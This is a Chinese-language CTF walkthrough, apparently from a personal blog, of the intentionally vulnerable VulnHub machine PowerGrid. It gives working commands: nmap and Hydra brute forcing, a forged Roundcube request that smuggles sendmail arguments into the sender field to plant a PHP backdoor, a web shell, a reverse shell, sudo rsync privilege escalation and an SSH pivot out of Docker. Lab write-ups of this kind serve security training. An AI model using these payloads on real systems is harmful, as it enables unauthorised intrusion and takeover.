靶机下载地址: https://www.vulnhub.com/entry/powergrid-101,485/
教程链接地址 1: https://blog.csdn.net/Jonah_Bare/article/details/106961477
教程链接地址 2: https://www.hackingarticles.in/powergrid-1-0-1-vulnhub-walkthrough/

# 确认攻击目标

攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 POWERGRID:桥接于 192.168.0.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

Image

sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

Image

sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.1 90 --min-rate=5000

Image

# 网站信息收集

打开 http://192.168.0.190/ 进行信息收集

Image

收集到了三个用户名 deez 1 、p48 和 all 2

用 common.txt 字典扫了一波,没有扫到有价值的信息

Image

换了个字典扫了一波,扫到了一个 zmail 的目录

Image

访问之后得到了一个登陆页面

http://192.168.0.190/zmail

Image

由于已经有了三个用户名了,是有机会爆破得到密码的

# hydra 爆破 http-get

选择模式为 http-get,选取密码为 rockyou.txt 开始爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.190 -f http-get /zmail/ -t 64 -f -vV -o hydra.ssh

Image

第一个用户爆破了 18 万次了还是没有爆破成功,等的有点着急,让这个继续爆破下起,同时在启一个 terminal 跑另外一个爆破选择第二个用户

Image

hydra -l p48 -P /usr/share/wordlists/rockyou.txt 192.168.0.190 - f http-get /zmail/ -t 64 -f -vV -o hydra.ssh

Image

在爆破到 12 万次的时候,得到了 p48 的密码 electrico

Image

一个后台登陆地址,再次用 p48:electrico 登陆到其中成功

Image

登陆成功,得到一个邮箱的后台界面

Image

# roundcube 邮件系统

有一封邮件,看起来比较重要,看一下什么意思

Image

就是有一个 gpg 加密后的 ssh 私钥文件,解开此私钥文件即可登陆 p 48

Image

找了一圈没有找到 roundcude 的版本,直接用 searchsploit 搜索一波

Image

将此 RCE 漏洞说明文件复制到本地,开始阅读,尝试测试能否突破

Image

阅读后发现需要将 from 改为 example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php,从_subject 参数中获取到 rce.php 脚本的内容

Image

在后台中开是发送邮件,并且把数据拦截到 burp, 利用 burp 抓包,可以看到原始数据包有很多参数

Image

伪造参数内容如下,其中 token 需要和自己抓到的数据的 token 一致
_token=krpJ9hLHabsYEAGsS98ipIVLRBfwHXwU&_task=mail&_action=send&_id=113154880062f70c5a90e16&_attachments=&_from=example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php&_to=sssssss%40qq.com&_cc=&_bcc=&_replyto=&_followupto=&_subject=&editorSelector=plain&_priority=0&_store_target=Sent&_draft_saveid=&_draft=&_is_html=0&_framed=1&_message=aaa

Image

页面访问发现没有看到 rce.php 的代码,但是不是 not found 的提示,说明我们已经成功的上传上去了一个后门

Image

# shell 转移到 antsword

其他没有任何信息的页面应该是如下内容

Image

这次直接写一个 post 的一句话后门,可用 antsword 连接

Image

连接成功后门,可以继续往此后门中写入反弹 shell 的代码

Image

写入 mkfifo 构造好的反弹 shell 的代码并保存

Image

用 curl 执行的同时,用来监听这个端口等到接收反弹 shell

Image

# gpg 文件解密

发现有 p48 这个用户,切换后输入 electrico 即可切换成功

Image

发现了一个 gpg 的私钥文件,看来就是邮件系统中提醒我们用来解开 gpg 加密后的 ssh 密钥的一个密匙

Image

有一个非常好的解密 gpg 的工具 https://pgptool.github.io/

Image

下载好一个 jar 包,选取解密模块,将邮件系统中的 gpg 导入

Image

提示需要一个密码,输入 p48 的密码 electrico

Image

输入解密成功之后导出的文件的位置

Image

解密成功得到了一个 ssh 的私钥文件

Image

# docker 容器提权

没有用到在用户目录下得到的密匙文件,但是照样把这个 key 得到了,这个 key 理论上是可以登陆到 p48 用户的,但是需要注意的是,靶机上没有开放 ssh 端口,那我们应该怎么连呢

先把这个文件给 echo 到靶机上,并且改变私钥文件的权限

Image

注意到当前靶机的 ip 地址中有 dokcer 网卡,既然靶机上没有开放 ssh 端口无法通过 p48 的密钥接入到 p48 用户上,那么是不是可以先用私钥文件进到一台开通了 ssh 协议的 docker 容器中呢,就试试看

Image

测试一下出了 172.17.0.1 的网关地址之外,存活的 docker 主机,找到一台 172.17.0.2 是存活主机

Image

ssh p48@172.17.0.2 -i id_rsa

Image

成功进入到了 docker 容器内部,用的 p 48 这个用户进去的,看 hostname 像是在 docker 容器内部,而且有 sudo 权限设置错误,可以直接调用 root 的 rsync
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

Image

提权到了 root 之后,由于我们还在 docker 内部,ip 也只有一个本地回环地址和一个 docker 虚拟出来的 ip,但是我们可以与 docker 的网关地址,即宿主机直接通信,连接到 172.17.0.1 就相当于连接到了宿主机,而我们在 docker 内部连的时候是不需要外部开通 22 端口的 ssh root@172.17.0.1

Image

查看 ip 地址

Image

-> 成功拿到了 root 权限,并且查看到 ip 是宿主机的 ip

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝